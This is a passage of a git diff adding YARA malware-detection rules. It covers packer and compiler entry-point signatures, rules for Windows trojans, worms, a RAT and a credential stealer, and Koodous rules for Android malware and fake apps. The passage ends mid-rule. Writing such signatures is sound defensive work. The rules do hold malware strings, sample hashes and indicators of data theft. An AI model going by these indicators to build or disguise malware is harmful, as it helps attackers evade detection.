+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="UPX 3.X"
+
+	strings:
+		$str1={60 BE 00 [2] 00 8D BE 00 [2] FF [1-12] EB 1? 90 90 90 90 90 [1-3] 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01}
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule obsidium : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="21/01/2013"
+		last_edit="17/03/2013"
+		description="Obsidium"
+
+	strings:
+		$str1={EB 02 [2] E8 25 00 00 00 EB 04 [4] EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 [2] C3 EB 02 [2] EB 04} /*EntryPoint*/
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule pecompact2 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="PECompact"
+
+	strings:
+		$str1={B8 [3] 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43} /*EntryPoint*/
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule aspack : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="ASPack"
+
+	strings:
+		$str1={60 E8 00 00 00 00 5D 81 ED 5D 3B 40 00 64 A1 30 00 00 00 0F B6 40 02 0A C0 74 04 33 C0 87 00 B9 ?? ?? 00 00 8D BD B7 3B 40 00 8B F7 AC} /*EntryPoint*/
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule execryptor : Protector
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="EXECryptor"
+
+	strings:
+		$str1={E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 64 8F 05 00 00 00 00} /*EntryPoint*/
+		
+	condition:
+		$str1 at (pe.entry_point)
+}
+
+rule winrar_sfx : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="18/03/2013"
+		description="Winrar SFX Archive"
+	
+	strings:
+		$signature1={00 00 53 6F 66 74 77 61 72 65 5C 57 69 6E 52 41 52 20 53 46 58 00} 
+		
+	condition:
+		$signature1
+}
+
+rule mpress_2_xx_x86 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="19/03/2013"
+		last_edit="24/03/2013"
+		description="MPRESS v2.XX x86  - no .NET"
+	
+	strings:
+		$signature1={60 E8 00 00 00 00 58 05 [2] 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 51 49 8A 44 39 06 88 04 31 75 F6}
+		
+	condition:
+		$signature1 at (pe.entry_point)
+}
+
+rule mpress_2_xx_x64 : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="19/03/2013"
+		last_edit="24/03/2013"
+		description="MPRESS v2.XX x64  - no .NET"
+	
+	strings:
+		$signature1={57 56 53 51 52 41 50 48 8D 05 DE 0A 00 00 48 8B 30 48 03 F0 48 2B C0 48 8B FE 66 AD C1 E0 0C 48 8B C8 50 AD 2B C8 48 03 F1 8B C8 57 44 8B C1 FF C9 8A 44 39 06 88 04 31} 
+		
+	condition:
+		$signature1 at (pe.entry_point)
+}
+
+rule mpress_2_xx_net : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="24/03/2013"
+		description="MPRESS v2.XX .NET"
+	
+	strings:
+		$signature1={21 46 00 69 00 6C 00 65 00 20 00 69 00 73 00 20 00 69 00 6E 00 76 00 61 00 6C 00 69 00 64 00 2E 00 00 0D 4D 00 50 00 52 00 45 00 53 00 53 00 00 00 00 00 2D 2D 93 6B 35 04 2E 43 85 EF}
+		
+	condition:
+		$signature1
+}
+
+rule rpx_1_xx : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="24/03/2013"
+		description="RPX v1.XX"
+	
+	strings:
+		$signature1= "RPX 1."
+		$signature2= "Copyright %C2 %A9  20"
+		
+	condition:
+		$signature1 and $signature2
+}
+
+rule mew_11_xx : Packer
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/03/2013"
+		description="MEW 11"
+	
+	strings:
+		$signature1={50 72 6F 63 41 64 64 72 65 73 73 00 E9 [6-7] 00 00 00 00 00 00 00 00 00 [7] 00}
+		$signature2="MEW"
+		
+	condition:
+		$signature1 and $signature2
+}
+
+rule yoda_crypter_1_2 : Crypter
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="15/04/2013"
+		description="Yoda Crypter 1.2"
+	
+	strings:
+		$signature1={60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC [19] EB 01 [27] AA E2 CC}
+		
+	condition:
+		$signature1 at (pe.entry_point)
+}
+
+rule yoda_crypter_1_3 : Crypter
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="15/04/2013"
+		description="Yoda Crypter 1.3"
+	
+	strings:
+		$signature1={55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+		
+	condition:
+		$signature1 at (pe.entry_point)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/Wabot_Worm.yar b/yara-mikesxrs/Kevin Falcoz/Wabot_Worm.yar
new file mode 100644
index 0000000..87a8242
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/Wabot_Worm.yar	
@@ -0,0 +1,14 @@
+rule Wabot : Worm
+{
+	meta:
+		author="Kevin Falcoz"
+		date="14/08/2015"
+		description="Wabot Trojan Worm"
+
+	strings:
+		$signature1={43 3A 5C 6D 61 72 69 6A 75 61 6E 61 2E 74 78 74}
+		$signature2={73 49 52 43 34}
+
+	condition:
+		$signature1 and $signature2
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/YahLover_Worm.yar b/yara-mikesxrs/Kevin Falcoz/YahLover_Worm.yar
new file mode 100644
index 0000000..f35b6f1
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/YahLover_Worm.yar	
@@ -0,0 +1,13 @@
+rule YahLover : Worm
+{
+	meta:
+		author="Kevin Falcoz"
+		date="10/06/2013"
+		description="YahLover"
+		
+	strings:
+		$signature1={42 00 49 00 54 00 52 00 4F 00 54 00 41 00 54 00 45 00 00 00 42 00 49 00 54 00 53 00 48 00 49 00 46 00 54 00 00 00 00 00 42 00 49 00 54 00 58 00 4F 00 52}
+		
+	condition:
+		$signature1
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/Zegost_Trojan.yar b/yara-mikesxrs/Kevin Falcoz/Zegost_Trojan.yar
new file mode 100644
index 0000000..ebd2477
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/Zegost_Trojan.yar	
@@ -0,0 +1,14 @@
+rule Zegost : Trojan
+{
+	meta:
+		author="Kevin Falcoz"
+		date="10/06/2013"
+		description="Zegost Trojan"
+		
+	strings:
+		$signature1={39 2F 66 33 30 4C 69 35 75 62 4F 35 44 4E 41 44 44 78 47 38 73 37 36 32 74 71 59 3D}
+		$signature2={00 BA DA 22 51 42 6F 6D 65 00}
+		
+	condition:
+		$signature1 and $signature2
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/compilers.yar b/yara-mikesxrs/Kevin Falcoz/compilers.yar
new file mode 100644
index 0000000..a320c41
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/compilers.yar	
@@ -0,0 +1,88 @@
+/*
+URL: https://github.com/0pc0deFR/YaraRules
+Developpeur: 0pc0deFR (alias Kevin Falcoz)
+compiler.yar contient plusieurs gles permettant d'identifier un compilateur
+*/
+/*
+rule visual_basic_5_6 : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="24/02/2013"
+		description="Miscrosoft Visual Basic 5.0/6.0"
+		
+	strings:
+		$str1={68 ?? ?? ?? 00 E8 ?? FF FF FF 00 00 ?? 00 00 00 30 00 00 00 ?? 00 00 00 00 00 00 00 [16] 00 00 00 00 00 00 01 00} 
+	
+	condition:
+		$str1 at (pe.entry_point)
+}
+*/
+
+rule visual_studio_net : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="24/02/2013"
+		description="Miscrosoft Visual Studio .NET/C#"
+		
+	strings:
+		$str1={FF 25 00 20 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} /*EntryPoint*/
+	
+	condition:
+		$str1 at (pe.entry_point)
+}
+rule visual_c_plus_plus_6 : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="Miscrosoft Visual C++ 6.0"
+		
+	strings:
+		$str1={55 8B EC 6A FF 68 [3] 00 68 [3] 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC [1] 53 56 57 89 65 E8} /*EntryPoint*/
+	
+	condition:
+		$str1 at (pe.entry_point)
+}
+rule visual_c_plus_plus_6_sp : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="Miscrosoft Visual C++ 6.0 SPx"
+		
+	strings:
+		$str1={55 8B EC 83 EC 44 56 FF 15 ?? 10 40 00 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E} /*EntryPoint*/
+	
+	condition:
+		$str1 at (pe.entry_point)
+}
+rule visual_c_plus_plus_7 : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="Miscrosoft Visual C++ 7.0"
+		
+	strings:
+		$str1={6A 60 68 [2] 40 00 E8 [2] 00 00 BF 94 00 00 00 8B C7 E8 [4] 89 65 E8 8B F4 89 3E 56 FF 15 [2] 40 00 8B 4E 10 89 0D} /*EntryPoint*/
+		$str2={6A 0C 68 [4] E8 [4] 33 C0 40 89 45 E4}
+	
+	condition:
+		$str1 at (pe.entry_point) or $str2 at (pe.entry_point)
+}
+rule borland_delphi_6_7 : Compiler
+{
+	meta:
+		author="Kevin Falcoz"
+		date_create="25/02/2013"
+		description="Borland Delphi 6.0 - 7.0"
+		
+	strings:
+		$str1={55 8B EC 83 C4 F0 53 B8 [3] 00 E8 [3] FF 8B 1D [3] 00 8B 03 BA [2] 52 00 E8 [2] F6 FF B8 [2] 52 00 E8 [2] FF FF 8B 03 E8} /*EntryPoint*/
+		$str2={55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 [0-1] 53 [9-11] FF 33 C0 55 68 [3] 00 64 FF 30 64 89 20} /*EntryPoint*/
+	
+	condition:
+		$str1 at (pe.entry_point) or $str2 at (pe.entry_point)
+}
diff --git a/yara-mikesxrs/Kevin Falcoz/lost_door_Trojan.yar b/yara-mikesxrs/Kevin Falcoz/lost_door_Trojan.yar
new file mode 100644
index 0000000..9d5596e
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/lost_door_Trojan.yar	
@@ -0,0 +1,13 @@
+rule lost_door : Trojan
+{
+	meta:
+		author="Kevin Falcoz"
+		date="23/02/2013"
+		description="Lost Door"
+	
+	strings:
+		$signature1={45 44 49 54 5F 53 45 52 56 45 52} /*EDIT_SERVER*/
+		
+	condition:
+		$signature1
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/universal_1337_stealer_serveur.yar b/yara-mikesxrs/Kevin Falcoz/universal_1337_stealer_serveur.yar
new file mode 100644
index 0000000..d4bbea2
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/universal_1337_stealer_serveur.yar	
@@ -0,0 +1,16 @@
+rule universal_1337_stealer_serveur : Stealer
+{
+	meta:
+		author="Kevin Falcoz"
+		date="24/02/2013"
+		description="Universal 1337 Stealer Serveur"
+		
+	strings:
+		$signature1={2A 5B 53 2D 50 2D 4C 2D 49 2D 54 5D 2A} /*[S-P-L-I-T]*/
+		$signature2={2A 5B 48 2D 45 2D 52 2D 45 5D 2A} /*[H-E-R-E]*/
+		$signature3={46 54 50 7E} /*FTP~*/
+		$signature4={7E 31 7E 31 7E 30 7E 30} /*~1~1~0~0*/
+		
+	condition:
+		$signature1 and $signature2 or $signature3 and $signature4
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Kevin Falcoz/xtreme_rat.yar b/yara-mikesxrs/Kevin Falcoz/xtreme_rat.yar
new file mode 100644
index 0000000..d779b8f
--- /dev/null
+++ b/yara-mikesxrs/Kevin Falcoz/xtreme_rat.yar	
@@ -0,0 +1,13 @@
+rule xtreme_rat : Trojan
+{
+	meta:
+		author="Kevin Falcoz"
+		date="23/02/2013"
+		description="Xtreme RAT"
+	
+	strings:
+		$signature1={58 00 54 00 52 00 45 00 4D 00 45} /*X.T.R.E.M.E*/
+		
+	condition:
+		$signature1
+}
diff --git a/yara-mikesxrs/Koodous/ASSDdeveloper.yar b/yara-mikesxrs/Koodous/ASSDdeveloper.yar
new file mode 100644
index 0000000..30fa048
--- /dev/null
+++ b/yara-mikesxrs/Koodous/ASSDdeveloper.yar
@@ -0,0 +1,24 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule assd_developer : official
+{
+	meta:
+		author = "Fernando Denis Ramirez https://twitter.com/fdrg21"
+		reference = "https://koodous.com/"
+		description = "This rule detects apks fom ASSD developer"
+		sample = "cb9721c524f155478e9402d213e240b9f99eaba86fcbce0571cd7da4e258a79e"
+
+	condition:
+		androguard.certificate.sha1("ED9A1CE1F18A1097DCCC5C0CB005E3861DA9C34A")
+		
+}
diff --git a/yara-mikesxrs/Koodous/Android.yar b/yara-mikesxrs/Koodous/Android.yar
new file mode 100644
index 0000000..9666514
--- /dev/null
+++ b/yara-mikesxrs/Koodous/Android.yar
@@ -0,0 +1,16 @@
+rule Android
+{
+	meta:
+		description = "This is a generic detaction for ANY Android application."
+		filetype = "apk"
+
+	strings:
+		$Header = "PK"
+		$b = "assets"
+		$c = "META-INF"
+		$d = "AndroidManifest.xml"
+		$e = "classes.dex"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Koodous/Android_VirusPolicia.yar b/yara-mikesxrs/Koodous/Android_VirusPolicia.yar
new file mode 100644
index 0000000..7276599
--- /dev/null
+++ b/yara-mikesxrs/Koodous/Android_VirusPolicia.yar
@@ -0,0 +1,43 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule BaDoink : official
+{
+		meta:
+		author = "Fernando Denis https://twitter.com/fdrg21"
+		reference = "https://koodous.com/"
+		description = "Virus de la Policia - android"
+		sample = "9bc0fb0f05bbf25507104a4eb74e8066b194a8e6a57670957c0ad1af92189921"
+
+	strings:
+		
+		//$url_string_1 = "http://police-mobile-stop.com"
+		//$url_string_2 = "http://mobile-policeblock.com"
+		
+		$type_a_1 ="6589y459gj4058rt"
+	
+		$type_b_1 = "Q,hu4P#hT;U!XO7T,uD"
+		$type_b_2 = "+Gkwg#M!lf>Laq&+J{lg"
+
+//		$type_c_1 = "ANIM_STYLE_CLOSE_ENTER"
+//		$type_c_2 = "TYPE_VIEW_ACCESSIBILITY_FOCUSED"
+//		$type_c_3 = "TYPE_VIEW_TEXT_SELECTION_CHANGED"
+//		$type_c_4 = "FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY"
+
+	condition:
+		androguard.app_name("BaDoink") or
+		//all of ($url_string_*) or
+		$type_a_1 or
+		all of ($type_b*) 
+//		all of ($type_c_*)
+		
+}
diff --git a/yara-mikesxrs/Koodous/Android_adware.yar b/yara-mikesxrs/Koodous/Android_adware.yar
new file mode 100644
index 0000000..c24eebc
--- /dev/null
+++ b/yara-mikesxrs/Koodous/Android_adware.yar
@@ -0,0 +1,22 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+rule adware : ads
+{
+	meta:
+		author = "Fernando Denis Ramirez https://twitter.com/fdrg21"
+		reference = "https://koodous.com/"
+		description = "Adware"
+		sample = "5a331231f997decca388ba2d73b7dec1554e966a0795b0cb8447a336bdafd71b"
+
+	strings:
+		$string_a = "banner_layout"
+		$string_b = "activity_adpath_sms"
+		$string_c = "adpath_title_one"
+		$string_d = "7291-2ec9362bd699d0cd6f53a5ca6cd"
+
+	condition:
+		all of ($string_*)
+		
+}
diff --git a/yara-mikesxrs/Koodous/Android_mapin.yar b/yara-mikesxrs/Koodous/Android_mapin.yar
new file mode 100644
index 0000000..1d39816
--- /dev/null
+++ b/yara-mikesxrs/Koodous/Android_mapin.yar
@@ -0,0 +1,44 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) 
+    and open to any user or organization, as long as you use it under this license.
+*/
+
+rule dropperMapin
+{
+    meta:
+        author = "https://twitter.com/plutec_net"
+        source = "https://koodous.com/"
+        reference = "http://www.welivesecurity.com/2015/09/22/android-trojan-drops-in-despite-googles-bouncer/"
+        description = "This rule detects mapin dropper files"
+        sample = "7e97b234a5f169e41a2d6d35fadc786f26d35d7ca60ab646fff947a294138768"
+        sample2 = "bfd13f624446a2ce8dec9006a16ae2737effbc4e79249fd3d8ea2dc1ec809f1a"
+
+    strings:
+        $a = ":Write APK file (from txt in assets) to SDCard sucessfully!"
+        $b = "4Write APK (from Txt in assets) file to SDCard  Fail!"
+        $c = "device_admin"
+
+    condition:
+        all of them
+}
+
+
+rule Mapin
+{
+    meta:
+        author = "https://twitter.com/plutec_net"
+        source = "https://koodous.com/"
+        reference = "http://www.welivesecurity.com/2015/09/22/android-trojan-drops-in-despite-googles-bouncer/"
+        description = "Mapin trojan, not for droppers"
+        sample = "7f208d0acee62712f3fa04b0c2744c671b3a49781959aaf6f72c2c6672d53776"
+
+    strings:
+        $a = "138675150963" //GCM id
+        $b = "res/xml/device_admin.xml"
+        $c = "Device registered: regId ="
+        
+
+    condition:
+        all of them
+        
+}
diff --git a/yara-mikesxrs/Koodous/BatteryBot_ClickFraud.yar b/yara-mikesxrs/Koodous/BatteryBot_ClickFraud.yar
new file mode 100644
index 0000000..906306c
--- /dev/null
+++ b/yara-mikesxrs/Koodous/BatteryBot_ClickFraud.yar
@@ -0,0 +1,25 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule batterybotpro : ClickFraud AdFraud SMS Downloader_Trojan
+{
+	meta:
+		description = "http://research.zscaler.com/2015/07/fake-batterybotpro-clickfraud-adfruad.html"
+		sample = "cc4e024db858d7fa9b03d7422e760996de6a4674161efbba22d05f8b826e69d5"
+		author = "https://twitter.com/fdrg21"
+
+	condition:
+
+		androguard.activity(/com\.polaris\.BatteryIndicatorPro\.BatteryInfoActivity/i) and
+		androguard.permission(/android\.permission\.SEND_SMS/)
+		
+}
diff --git a/yara-mikesxrs/Koodous/ChinesePorn.yar b/yara-mikesxrs/Koodous/ChinesePorn.yar
new file mode 100644
index 0000000..62a0cac
--- /dev/null
+++ b/yara-mikesxrs/Koodous/ChinesePorn.yar
@@ -0,0 +1,75 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule sensual_woman: chinese
+{
+  meta:
+		author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+	condition:
+		androguard.package_name(/com.phone.gzlok.live/)
+		or androguard.package_name(/com.yongrun.app.sxmn/)
+		or androguard.package_name(/com.wnm.zycs/)
+		or androguard.package_name(/com.charile.chen/i)
+		or androguard.package_name(/com.sp.meise/i)
+		or androguard.package_name(/com.legame.wfxk.wjyg/)
+		or androguard.package_name(/com.video.uiA/i)
+}
+
+rule chinese2 : sms_sender
+{
+  meta:
+		author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+	condition:
+		androguard.package_name(/com.adr.yykbplayer/) or 
+		androguard.package_name(/sdej.hpcite.icep/) or
+		androguard.package_name(/p.da.wdh/) or
+		androguard.package_name(/com.shenqi.video.sjyj.gstx/) or
+		androguard.package_name(/cjbbtwkj.xyduzi.fa/) or
+		androguard.package_name(/kr.mlffstrvwb.mu/)
+}
+
+rule chinese_porn : SMSSend
+{
+  meta:
+		author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+	condition:
+		androguard.package_name("com.tzi.shy") or
+		androguard.package_name("com.shenqi.video.nfkw.neim")
+}
+
+rule chineseporn4 : SMSSend
+{
+  meta:
+		author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+	condition:
+		androguard.activity(/com\.shenqi\.video\.Welcome/) or
+		androguard.package_name("org.mygson.videoa.zw")
+}
+
+rule chineseporn5 : SMSSend
+{
+  meta:
+		author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+	condition:
+		androguard.package_name("com.shenqi.video.ycef.svcr") or 
+		androguard.package_name("dxas.ixa.xvcekbxy") or
+		androguard.package_name("com.video.ui") or 
+		androguard.package_name("com.qq.navideo") or
+		androguard.package_name("com.android.sxye.wwwl") or
+		androguard.certificate.issuer(/llfovtfttfldddcffffhhh/)
+		
+}
diff --git a/yara-mikesxrs/Koodous/Drendoid_RAT.yar b/yara-mikesxrs/Koodous/Drendoid_RAT.yar
new file mode 100644
index 0000000..e95f6e3
--- /dev/null
+++ b/yara-mikesxrs/Koodous/Drendoid_RAT.yar
@@ -0,0 +1,48 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+rule Dendroid
+{
+	meta:
+	author = "https://twitter.com/jsmesa"
+	reference = "https://koodous.com/"
+	description = "Dendroid RAT"
+	strings:
+    	$s1 = "/upload-pictures.php?"
+    	$s2 = "Opened Dialog:"
+    	$s3 = "com/connect/MyService"
+    	$s4 = "android/os/Binder"
+    	$s5 = "android/app/Service"
+   	condition:
+    	all of them
+
+}
+
+rule Dendroid_2
+{
+	meta:
+	author = "https://twitter.com/jsmesa"
+	reference = "https://koodous.com/"
+	description = "Dendroid evidences via Droidian service"
+	strings:
+    	$a = "Droidian"
+    	$b = "DroidianService"
+   	condition:
+    	all of them
+
+}
+
+rule Dendroid_3
+{
+	meta:
+	author = "https://twitter.com/jsmesa"
+	reference = "https://koodous.com/"
+	description = "Dendroid evidences via ServiceReceiver"
+	strings:
+    	$1 = "ServiceReceiver"
+    	$2 = "Dendroid"
+   	condition:
+    	all of them
+
+}
diff --git a/yara-mikesxrs/Koodous/FakeApps.yar b/yara-mikesxrs/Koodous/FakeApps.yar
new file mode 100644
index 0000000..dc62c24
--- /dev/null
+++ b/yara-mikesxrs/Koodous/FakeApps.yar
@@ -0,0 +1,103 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule fake_facebook: fake
+{
+  meta:
+		  author = "https://twitter.com/Diviei"
+		  reference = "https://koodous.com/"
+	condition:
+		androguard.app_name("Facebook")
+		and not androguard.certificate.sha1("A0E980408030C669BCEB38FEFEC9527BE6C3DDD0")
+}
+
+
+rule fake_facebook_2 : fake
+{
+	meta:
+		author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+		description = "Detects fake facebook applications"
+		hash_0 = "7be33c2d27121968d2f7081ae2b04965238a3c15c7aae62d006f629d64e0b58e"
+		hash_1 = "c1264c689393880361409eb02570fd49bec91c88569d39062e13c0c8ae0e1806"
+		hash_2 = "70d5cc909d5718674474a54b44f83bd194cbdd2d99354d52cd868b334fb5f3de"
+		hash_3 = "38e757abd5e015e3c3690ea0fdc2ff1e04b716651645a8c4ca6a63185856fe29"
+		hash_4 = "ba0b8fe37b4874656ad129dd4d96fdec181e2c3488985309241b0449bb4ab84f"
+		hash_5 = "7be33c2d27121968d2f7081ae2b04965238a3c15c7aae62d006f629d64e0b58e"
+		hash_6 = "c1264c689393880361409eb02570fd49bec91c88569d39062e13c0c8ae0e1806"
+		hash_7 = "7345c3124891b34607a07e93c8ab6dcbbf513e24e936c3710434b085981b815a"
+		
+	condition:
+		androguard.app_name("Facebook") and
+		not androguard.package_name(/com.facebook.katana/) and 
+		not androguard.certificate.issuer(/O=Facebook Mobile/)	
+}
+
+rule fake_instagram: fake
+{
+  meta:
+		  author = "https://twitter.com/Diviei"
+		  reference = "https://koodous.com/"
+	condition:
+		androguard.app_name("Instagram")
+		and not androguard.certificate.sha1("76D72C35164513A4A7EBA098ACCB2B22D2229CBE")
+}
+
+rule fake_king_games: fake
+{
+	condition:
+		(androguard.app_name("AlphaBetty Saga")
+		or androguard.app_name("Candy Crush Soda Saga")
+		or androguard.app_name("Candy Crush Saga")
+		or androguard.app_name("Farm Heroes Saga")
+		or androguard.app_name("Pet Rescue Saga")
+		or androguard.app_name("Bubble Witch 2 Saga")
+		or androguard.app_name("Scrubby Dubby Saga")
+		or androguard.app_name("Diamond Digger Saga")
+		or androguard.app_name("Papa Pear Saga")
+		or androguard.app_name("Pyramid Solitaire Saga")
+		or androguard.app_name("Bubble Witch Saga")
+		or androguard.app_name("King Challenge"))
+		and not androguard.certificate.sha1("9E93B3336C767C3ABA6FCC4DEADA9F179EE4A05B")
+}
+
+rule fake_market: fake
+{
+  meta:
+		author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+
+	condition:
+		androguard.package_name("com.minitorrent.kimill") 
+}
+
+
+rule fake_minecraft: fake
+{
+  meta:
+		author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+	condition:
+		( androguard.app_name("Minecraft: Pocket Edition") or 
+			androguard.app_name("Minecraft - Pocket Edition") )
+		and not androguard.package_name("com.mojang.minecraftpe")
+}
+
+rule fake_whatsapp: fake
+{
+  meta:
+		  author = "https://twitter.com/Diviei"
+		  reference = "https://koodous.com/"
+	condition:
+		androguard.app_name("WhatsApp") and
+		not androguard.certificate.sha1("38A0F7D505FE18FEC64FBF343ECAAAF310DBD799")
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Koodous/Fake_MosKow.yar b/yara-mikesxrs/Koodous/Fake_MosKow.yar
new file mode 100644
index 0000000..00d2638
--- /dev/null
+++ b/yara-mikesxrs/Koodous/Fake_MosKow.yar
@@ -0,0 +1,27 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+
+//41dce59ace9cce668e893c9d2c35d6859dc1c86d631a0567bfde7d34dd5cae0b
+//61f7909512c5caf6dd125659428cf764631d5a52c59c6b50112af4a02047774c
+//2c89d0d37257c90311436115c1cf06295c39cd0a8c117730e07be029bd8121a0
+rule moscow_fake : banker
+{
+	meta:
+	  author = "Fernando Denis"
+		reference = "https://koodous.com/ https://twitter.com/fdrg21"
+		description = "Moskow Droid Development"
+		thread_level = 3
+		in_the_wild = true
+
+	strings:
+		$string_a = "%ioperator%"
+		$string_b = "%imodel%"
+		$string_c = "%ideviceid%"
+		$string_d = "%ipackname%"
+		$string_e = "VILLLLLL"
+
+	condition:
+		all of ($string_*)
+}
diff --git a/yara-mikesxrs/Koodous/HackingTeam.yar b/yara-mikesxrs/Koodous/HackingTeam.yar
new file mode 100644
index 0000000..d32eb46
--- /dev/null
+++ b/yara-mikesxrs/Koodous/HackingTeam.yar
@@ -0,0 +1,51 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule hacking_team : stcert
+{
+	meta:
+		author = "Fernando Denis https://twitter.com/fdrg21"
+		reference = "https://koodous.com/"
+		description = "This rule detects the apk related to hackingteam - These certificates are presents in mailboxes od hackingteam"
+		samples = "c605df5dbb9d9fb1d687d59e4d90eba55b3201f8dd4fa51ec80aa3780d6e3e6e"
+
+	strings:
+		$string_a_1 = "280128120000Z0W1"
+		$string_a_2 = "E6FFF4C5062FBDC9"
+		$string_a_3 = "886FEC93A75D2AC1"
